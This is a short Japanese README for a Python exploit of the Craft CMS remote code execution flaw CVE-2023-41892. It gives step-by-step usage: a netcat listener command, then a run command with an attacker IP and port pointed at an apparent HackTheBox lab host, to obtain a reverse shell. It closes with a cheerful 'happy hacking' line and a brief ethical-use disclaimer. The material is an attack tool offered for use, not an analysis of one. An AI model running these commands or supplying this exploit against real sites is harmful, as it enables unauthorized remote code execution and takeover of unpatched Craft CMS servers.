Craft-CMS-Exploit

このPythonスクリプトは、人気のあるコンテンツ管理システムであるCraft CMSのリモートコード実行脆弱性（CVE-2023-41892）を悪用します。この脆弱性はバージョン4.0.0-RC1から4.4.14に影響し、攻撃者がPHPリバースシェルのように任意のコードをリモートで実行することを可能にします。

使用方法

まず、別のシェルでnetcatリスナーを起動します：

nc -nlvp 1234

次に、自分のIPアドレスを確認し、エクスプロイトを実行します：

python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb

真新しいリバースシェルでハッキングをお楽しみください！

免責事項

このコードは倫理的なハッキング目的のみを意図しており、悪意のある活動に使用してはなりません！

参考文献

元のコードについては to016 に感謝します。このコードはこちらの Gist にあります。